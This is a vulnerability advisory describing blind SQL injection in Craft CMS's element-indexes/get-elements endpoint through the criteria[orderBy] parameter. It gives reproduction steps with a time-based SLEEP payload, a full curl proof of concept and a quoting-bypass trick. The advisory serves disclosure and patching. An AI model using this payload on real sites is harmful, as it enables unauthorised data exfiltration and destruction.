Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`

Summary

The element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query.
An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload).

> [!NOTE]
> The ORDER BY clause executes per row. SLEEP(1) on 10 rows = 10s delay.

PoC

Required Permissions

• Access to the Control Panel

Steps to reproduce

1. Log in to the control panel
2. Navigate to any element index (e.g., Users /admin/users, Entries, Assets, etc.)
3. Intercept the POST request to /index.php?p=admin/actions/element-indexes/get-elements
4. Modify the JSON body to the following:

{"context":"index","elementType":"craft\\elements\\User","source":"*","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}}

5. Send the request
6. Observe a delay in the response (delay = rows × sleep time)

Alternatively, you can use the following curl (bash syntax) command (replace cookie, CSRF token, and target domain as needed):

curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(0.2)) --\"},\"viewState\":{\"static\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'

Impact

With this Blind SQLi, an attacker can:
- Exfiltrate data character-by-character.
- Modify or destroy data (drop tables, update records, alter schema).

Root Cause

The orderBy parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., (elements.id)) bypasses internal quoting mechanisms.